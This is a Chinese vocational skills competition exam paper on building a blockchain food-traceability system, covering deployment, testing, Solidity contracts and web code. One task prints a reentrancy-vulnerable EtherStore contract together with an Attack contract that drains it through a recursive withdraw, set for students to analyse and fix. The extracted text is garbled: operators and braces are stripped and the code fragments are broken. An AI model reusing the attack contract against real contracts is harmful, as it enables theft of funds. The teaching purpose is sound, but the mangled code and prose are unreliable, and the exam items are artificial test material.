1、2023年全国职业院校技能大赛高职组“区块链技术应用”赛项赛卷（1卷）任务书参赛队编号： 背景描述随着消费需求的不断变化，消费者对食品安全的关注度越来越高，希望能参与食品供应链管理，让每个环节都透明化。但传统的供应链管理依靠纸张记录，保存数据具有随意性，消费者无法确认其真实性。此外，传统管理模式中心化，多数环节间信息流通不畅，影响供应链管理效率。因此，供应链管理面临效率和安全透明的双重挑战，迫切需要有效变革，促进食品供应链更高效、透明和安全。从技术层面来看，区块链技术具有去中心化、公开透明、不可篡改等优点，可解决食品供应链短板，与现行管理相结合，不仅可提升透明度，还可提升管理效率。通过构建基于
2、区块链技术的食品安全溯源平台，有效将包括生产日期、生产产地、生产商、流通企业等食品安全溯源相关信息通过区块链去中心化的方式存储，有效保证了数据真实以及不可篡改。另一方面，借助区块链智能合约技术，灵活设计食品安全溯源相关业务，在确保数据安全的前提下实现透明公开，在此基础上引入监管机制有效保证业务良性开展。模块一：区块链产品方案设计及系统运维（35分）选手完成本模块的任务后，将任务中设计结果、运行代码、运行结果等截图粘贴至客户端桌面【区块链技术应用赛重命名为工位号模块一提交结果.docx】中对应的任务序号下。任务1-1：区块链产品需求分析与方案设计本任务需要依据项目背景完成需求分析与方案设计，具体
3、要求如下:1. 依据给定区块链食品溯源系统的业务架构图，对考题进行业务分析，尽可能全面的考虑一个业务系统所需要的模块，使用Visio或思维导图工具展现本系统的基本设计概念和处理流程，要求分为区块链食品溯源业务平台和支撑平台两个部分；2. 根据食品溯源系统设计，在系统中分别包括用户管理以及订单追溯功能，在订单追溯中需要包括生产商、分销商、经销商订单的追溯管理功能。根据描述，设计区块链系统的总体功能概览图；3. 整合上述设计内容，完善“区块链食品溯源系统概要设计说明书.doc”，具体工作内容如下：（1）将设计内容根据说明书中模块需求进行补充，并完善概要设计说明书中的“需求概要”；（2）完善说明书中
4、接口说明部分内容。 完成后提交“区块链食品溯源系统概要设计说明书.doc”文档至【区块链技术应用赛重命名为工位号】下。区块链食品溯源系统概要设计说明书1引言1.1编写目的本概要说明书按照需求规格说明书的功能需求，设计本系统的软件结构，供后续软件过程(详细设计等)做依据，预期读者为后续软件过程的设计、开发人员。2. 总体设计2.1需求规定2.1.2输入输出要求参照需求文档的说明2.2运行环境本系统必须运行在局域网或互联网中2.2.1支持架构客户端服务器端后台数据库2.3基本设计概念和处理流程本系统软件部分可划分为浏览器页面、服务器端。用户通过浏览器访问相关页面，输入业务请求，发送到服务器端，调用
5、业务系统接口处理后，把业务处理应答发送给客户端用户。系统框架图如下：/将任务1-1第1小题结果复制至此；2.3.1 登录业务功能模块/在这里补充2.3.2 食品订单溯源功能模块/在这里补充2.4结构2.4.1 总体框图/将任务1-1第2小题结果复制至此；2.4.2 功能模块接口及说明由于在后续设计中，对各功能模块的每个子功能都要详细的加以详细的描述，因此恰当的标识符将有助于文档的阅读和代码的编写。命名规则：1数据库表名命名规则由前缀和实际名字组成。前缀：使用小写字母tb，表示表。实际名字采用其英文缩写，且首字母要大写。2数据库表中字段命名规则根据其中文名称直接翻译成英文，其首字母要大写；若为多
6、个词的组合，则每个词的首字母都要大写。3模块标识符命名规则应本着便于理解和尽量简洁的原则来命名标识符。在本系统中，各模块均以每个词英文的前几个字母来命名，模块下的子功能也以其英文简写来命名,且每个词首字母均为大写。4程序中变量命名规则每个变量都要以其所在的模块的为前缀，该前缀可以是该模块标识符中大写字母的组合，前缀后面加下划线“_”。后面的字母小写，并且不能包含JAVA的关键字，如果变量是两个单词组成，第二个单词的首字母要大写。5程序中函数命名规则每个函数名都要以其所在的模块的为前缀，该前缀可以是该模块标识符中大写字母的组合，前缀后面加下划线“_”。首字母小写，多个单词的函数名，从第二个单词开
7、始单词首字母大写。/补充填写请求参数、相应参数内容2.4.2.1 用户信息查询1.功能描述标识符userInfo功能通过指定用户地址获取详细信息2. 接口功能请求路由/userInfo请求方法POST请求参数参数名类型说明响应参数参数名类型说明2.4.2.2 生产订单创建1. 功能描述标识符produce功能生产商创建食品溯源中生产订单相关信息2. 接口功能请求路由/produce请求方法POST请求参数参数名类型说明响应参数参数名类型说明2.4.2.3 分销订单创建1. 功能描述标识符ditribute功能分销商创建食品溯源中分销订单相关信息2. 接口功能请求路由distribute请求方法
8、POST请求参数参数名类型说明响应参数参数名类型说明2.4.2.4 销售订单创建1. 功能描述标识符retail功能分销商创建食品溯源中分销订单相关信息。2. 接口功能请求路由 retail请求方法POST请求参数参数名类型说明响应参数参数名类型说明2.4.2.5 食品信息追溯查询1. 功能描述标识符trace功能通过指定订单号追溯食品信息2. 接口功能请求路由trace请求方法POST请求参数参数名类型说明响应参数参数名类型说明3系统数据库设计通过中心化的方式存储系统中用户信息，包括用户名(username)、密码(password)、角色(role)、地址(address)内容。3.1 U
9、ser表（user）字段名称字段类型含义是否可为NULL是否Primary Keyusernamevarchar用户名否是passwordvarchar密码否roleInteger用户角色否addressvarchar区块链地址4系统出错处理设计4.1出错信息服务器端可能有Java的异常产生，可用Java中的异常处理方法trycatch处理,并记录日志，以备事后分析查找原因。4.2补救措施采用双服务器热备份的方法，一旦服务器崩溃，立即切换到另一台服务器运行。4.3系统维护设计保留本系统的一系列文档，加适当注释，以备维护者维护。每次修改/维护，都做记录。任务1-2：区块链系统部署与运维围绕食品安
10、全溯源区块链平台部署与运维需求，进行项目相关系统、节点以及管理工具的部署工作。通过监控工具完成对网络、节点服务的监控。最终根据业务需求规范，完成系统日志、网络参数、节点服务等系统结构的维护，具体要求如下：1. 根据参数与端口设置要求，部署区块链系统并验证；2. 根据参数与端口设置要求，部署区块链网络管理平台并验证；3. 基于区块链系统相关管理平台，按照任务指南实施系统运维工作并验证；4. 基于区块链系统相关监管工具，按照任务指南对区块链系统进行监管。子任务1-2-1： 搭建区块链系统并验证基于给定服务器环境以及软件（地址“/root/tools”），搭建一条4节点的区块链系统并验证，具体工作内
11、容如下：（1）采用默认配置搭建区块链网络；（2）通过命令验证区块链节点进程运行状况；（3）通过命令验证区块链连接状态和共识状态日志输出。子任务1-2-2：搭建区块链系统管理平台并验证基于给定服务器环境以及软件（地址“/root/tools”），搭建区块链控制台并开展相关运维工作，具体工作内容如下：（1）配置控制台，管理相关证书并启动；（2）使用控制台安装HelloWorld智能合约；（3）使用控制台完成HelloWorld智能合约的set与get操作；（4）使用控制台查看区块链中区块高度。子任务1-2-3：区块链节点运维基于已完成的区块链系统与管理平台搭建工作，开展区块链节点的加入与退出运维工
12、作，具体内容如下：（1）获取指定区块链节点输出等级为警告级，并设置日志存储阈值位100MB并验证；（2）通过给定工具（地址/root/tools）完成新节点（node4）配置；（3）启动新节点加入区块链系统并验证。子任务1-2-4：区块链网络运维根据任务描述要求，完成网络配置与管理运维操作，具体内容如下：（1）设置区块链系统黑名单，将node3设为黑名单禁止连接，并验证；（2）设置系统中区块打包最大交易数量设为2000；（3）验证区块最大打包交易数量情况。任务1-3：区块链系统测试设计对区块链系统的测试流程；结合实际业务需求，调用部署的智能合约进行系统测试、性能测试等；根据业务需求，分析并且修
13、复给定智能合约中的安全漏洞。利用模拟业务和测试工具来完成对区块链系统服务数据的测试。1. 使用命令启动区块链系统可视化一体平台并验证启动情况；2. 通过可视化平台生成包括生产商(Producer)、经销商(distributor)、零售商(retailer)账户，并将账户以p12加密形式导出后倒入指定前置可视化平台，验证地址一致性；3. 使用Postman对上述功能接口进行验证，并将验证结果截图提交工程文档。对食品溯源系统服务端“添加食品”(/produce)功能接口进行验证。请求路由:/produce请求方法：POST输入项说明：输入项类型说明traceNumberString追踪编号foo
14、dNameString食品名称traceNameString存证人地址qualityInteger食品质量输出项说明：输出项类型说明retInteger返回值msgString返回消息，Success表示操作成功4. 参照工程项目（地址：“/root/projects”）使用Caliper测试工具对食品安全溯源系统智能合约生成新食品(newFood)功能进行压力测试。具体要求如下：（1） 提供核心测试代码；（2） 设置txNumber=10，tps=1，所有测试通过率为100%。5. 智能合约安全漏洞测试。有如下问题智能合约：pragma solidity =0.8.3;contract Et
15、herStore mapping(address = uint) public balances; function deposit() public payable balancesmsg.sender += msg.value; emit Balance(balancesmsg.sender); function withdraw() public uint bal = balancesmsg.sender; require(bal 0); (bool sent, ) = msg.sender.callvalue: bal(); require(sent, Failed to send E
16、ther); balancesmsg.sender = 0; / Helper function to check the balance of this contract function getBalance() public view returns (uint) return address(this).balance; contract Attack EtherStore public etherStore; constructor(address _etherStoreAddress) etherStore = EtherStore(_etherStoreAddress); / F
17、allback is called when EtherStore sends Ether to this contract. fallback() external payable if (address(etherStore).balance = 1) etherStore.withdraw(); function attack() external payable require(msg.value = 1); etherStore.depositvalue: 1(); etherStore.withdraw(); / Helper function to check the balan
18、ce of this contract function getBalance() public view returns (uint) return address(this).balance; （1） 分析智能合约中存在问题，并说明危害；（2） 根据测试工具中的代码文件，编写测试用例，复现智能合约中存在的漏洞；（3） 创建新的智能合约，修复其中问题，说明修复内容并测试。完成本任务后将相关命令、代码以及运行结果截图填写至工程文档并提交。模块二：智能合约开发与测试（30分）选手完成本模块的任务后，将任务中设计结果、运行代码、运行结果等截图粘贴至客户端桌面【区块链技术应用赛重命名为工位号模块二提
19、交结果.docx】中对应的任务序号下。任务2-1：智能合约设计根据区块链食品溯源应用需求分析和方案设计文档的描述，编写该区块链产品的智能合约功能需求文档，以及设计该智能合约UML图。具体要求如下：1.编写区块链食品溯源智能合约功能需求文档根据区块链食品溯源产品项目背景和需求分析，编写该区块链食品溯源产品的智能合约功能需求文档。2.完成区块链食品溯源智能合约的设计图设计区块链食品溯源智能合约接口，画出区块链食品溯源智能合约的角色UML用例图，以及画出区块链食品溯源各智能合约关系的时序图。任务2-2：智能合约开发使用Solidity语言完成智能合约开发、部署和调用，要求如下：1.食品信息（Food
20、InfoItem）的接口编码（1）编写食品信息实体的接口，完成可溯源食品信息初始化，实现可追溯的原始生产商食品信息上链功能；表2-2-1 FoodInfoItem实体说明名称类型说明_currentTraceNamestring当前用户名_namestring食品名称_owneraddress合约的创建者_qualityuint8质量_statusuint8状态_traceNamestring用户名_timestampuint流转时间戳_traceAddressaddress用户地址_traceQualityuint8食品质量 contract FoodInfoItem /保存食品流转过程中各
21、个阶段的时间戳 /保存食品流转过程各个阶段的用户名 /保存食品流转过程各个阶段的用户地址信息（和用户一一对应） /保存食品流转过程中各个阶段的质量 /食品名称 /当前用户名称 /质量（0=优质 1=合格 2=不合格） /状态（0:生产 1:分销 2:出售） /初始化owner（2）编写分销商食品上链信息接口，根据食品溯源智能合约地址获取分销商上链食品的信息； function addTraceInfoByDistributor(, uint8 quality) public returns(bool) require(_status = 0 , status must be producing
22、); / _timestamp.push(now); _traceName.push(traceName); _currentTraceName = traceName; / / _traceQuality.push(_quality); _status = 1; return true; （3）编写超市进行食品上链信息的接口，根据食品溯源智能合约地址获取超市上链食品信息。function addTraceInfoByRetailer(, uint8 quality) public returns(bool) require(_status = 1 , status must be distr
23、ibuting); / _timestamp.push(now); _traceName.push(traceName); _currentTraceName = traceName; / / _traceQuality.push(_quality); _status = 2; return true;2.食品溯源(Trace)的接口编码（1）编写食品溯源智能合约生产商Producer添加食品接口，必须生产商才能添加可溯源的食品，实现溯源功能；function newFood(, string traceName, uint8 quality)public returns() / / / /
24、/ （2）编写食品溯源智能合约分销商Distributor添加食品接口，必须分销商才能添加可溯源的食品，实现溯源功能；function addTraceInfoByDistributor(, uint8 quality)public returns(bool) / return FoodInfoItem(foodstraceNumber)., quality); （3）编写食品溯源智能合约超市Retailer添加食品接口，必须超市才能添加可溯源的食品，实现溯源功能。function addTraceInfoByRetailer(, uint8 quality)public returns(bo
25、ol) require(, traceNumber does not exist); return FoodInfoItem(foodstraceNumber)., quality); 3.角色（Role）管理的接口编码（1）编写食品溯源增加角色接口，必须是未增加的角色才能被添加，实现添加角色的功能；function add(, address account) require(!, Roles: account already has role); role. = true;（2）编写食品溯源移除角色接口，必须是已增加的角色才能被移除，实现移除角色的功能； function remove(,
26、 address account) require(, Roles: account does not have role); role. = false; （3）编写食品溯源角色授权接口，必须是授权的角色地址，实现角色权限管理功能。function has(, address account) returns (bool) require(, Roles: account is the zero address); return role.; 4.合约编译、部署和调用（1）解决代码错误和警告，正确编译并部署合约，成功获取部署的合约地址和abi；（2）调用食品溯源智能合约的接口，完整验证业务流
27、程。任务2-3：智能合约测试编写智能合约单元测试代码并完成合约功能测试、性能测试，具体要求如下：1.配置区块链网络启动区块链网络，创建新的Workspace，配置对外访问的RPC接口为7545，配置项目的配置文件config.js实现与新建Workspace的连接。2.设置producerId和sellederId两个变量基于VSCODE加载测试项目，补全位于test文件夹中foodTraceNew.js文件预操作的方法。在测试文件中添加预定义的方法（在其他方法启动前使用），在方法中分别设置producerId和sellederId两个变量，具体要求如下：（1）producerId设置为1；（
28、2）sellderId设置为4。3.补全createMember和getMember方法基于VSCODE加载的测试项目，补全位于test文件夹中foodTraceNew.js文件，添加测试用例，测试智能合约的createMember和getMember方法。4.测试createOrder和getOrder方法基于VSCODE加载的测试项目，补全位于test文件夹中foodTraceNew.js文件，添加测试用例，测试智能合约的createOrder和getOrder方法。5.测试createFood和getFood方法基于VSCODE加载的测试项目，补全位于test文件夹中foodTraceN
29、ew.js文件，添加测试用例，测试智能合约的createFood和getFood方法。 模块三：区块链应用系统开发（30分）选手完成本模块的任务后，将任务中设计结果、运行代码、运行结果等截图粘贴至客户端桌面【区块链技术应用赛重命名为工位号模块三提交结果.docx】中对应的任务序号下。任务3-1：区块链应用前端功能开发1请基于前端系统的开发模板，在登录组件login.js、组件管理文件components.js中添加对应的逻辑代码，实现对前端的角色选择功能，并测试功能完整性，示例页面如下：具体要求如下：（1）有明确的提示，提示用户选择角色；（2）用户可看到四个不同的角色可选（生产商、中间商、超市
30、、消费者）；（3）每个用户所对应的组件请在components中找寻并填入；（4）页面顶部要有食品溯源平台的网站标题和logo。Login.js:代码片段1：template: 选手填写部分 选手填写部分 代码片段2：/ 用户身份 users: name: 选手填写部分, userName: producer, component: 选手填写部分, , name: 选手填写部分, userName: distributor, component: 选手填写部分, , name: 选手填写部分, userName: retailer, component: 选手填写部分, , name: 选手填
31、写部分, userName: consumer, component: 选手填写部分, , , currentUser: 选手填写部分, / 当前用户components.js:代码片段3：/ 头部组件const Header = / 接受传入的登录状态、用户信息 props: login, user, template: 选手填写部分 选手填写部分 2请基于前端系统的开发模板，在登录组件login.js、组件管理文件components.js中添加对应的逻辑代码，实现对前端的角色选择功能，并测试功能完整性，示例页面如下：具体要求如下：（1）点击角色进入相应角色登录页面；（2）登录界面提示用户
32、的地址（消费者不显示），有登录操作的相关提示；（3）登录界面有5秒倒计时；（4）登录界面有“直接登录”按钮，点击可直接跳转到相应角色首页。login.js:代码片段1： 登录中.(倒计时： 选手填写部分 秒) 角色: 选手填写部分 角色地址: 选手填写部分 直接登录 代码片段2：/ 登录时有个5秒的倒计时，这里是在点击直接登录时，清除倒计时，直接跳到相关页面 clearTimer() clearInterval(选手填写部分); this.$emit(选手填写部分, component: this.loginIponent, user: this.loginItem.name, ); , /
33、倒计时 countdownInterval( component, name: user ) this.timer = setInterval() = if(this.countdown this.address = 选手填写部分; this.currentUser = 选手填写部分; this.countdownInterval(选手填写部分); ) .catch(err = console.log(err) ) else this.currentUser = item.name; this.countdownInterval(item); 任务3-2：区块链应用后端功能开发1请基于已有的项
34、目，开发完善IndexController类，编写添加食品生产信息的方法，实现食品信息的添加功能，并测试功能完整性。本任务具体要求如下：（1）开发文件IndexController.java中的produce方法，请求接口为/produce；（2）开发文件IndexController.java中的produce方法，要求对前端传入的参数进行二次验证；（3）开发文件IndexController.java中的produce方法，要求封装返回值为String，但不返回视图页面。produce方法:/* * 添加食品生产信息 * traceNumber: 食品溯源id，食品溯源过程中的标识符 *
35、foodName: 食物名称 * traceName: 用户名，食品流转过程各个阶段的用户名 * quality: 当前食品质量（0=优质 1=合格 2=不合格） * return：添加食品生产信息结果 */ 选手填写部分 PostMapping(选手填写部分, produces=MediaType.APPLICATION_JSON_VALUE) public String produce(RequestBody JSONObject jsonParam) /声明返回对象 JSONObject _outPutObj = new JSONObject(); /生产商生产食品 if(jsonPar
36、am = null) 选手填写部分 int trace_number = 选手填写部分; String food_name = 选手填写部分; String trace_name = 选手填写部分; int quality = 选手填写部分; JSONArray params = JSONArray.parseArray(+food_name+,+trace_number+,+trace_name+,+quality+); JSONObject _jsonObj = new JSONObject(); _jsonObj.put(contractName,CONTRACT_NAME); _jso
37、nObj.put(contractAddress,CONTRACT_ADDRESS); _jsonObj.put(contractAbi,JSONArray.parseArray(CONTRACT_ABI); _jsonObj.put(user,PRODUCER_ADDRESS); _jsonObj.put(funcName,选手填写部分); _jsonObj.put(funcParam,选手填写部分); String responseStr = httpPost(URL,选手填写部分); JSONObject responseJsonObj = JSON.parseObject(responseStr); String msg = responseJsonObj.getString(message
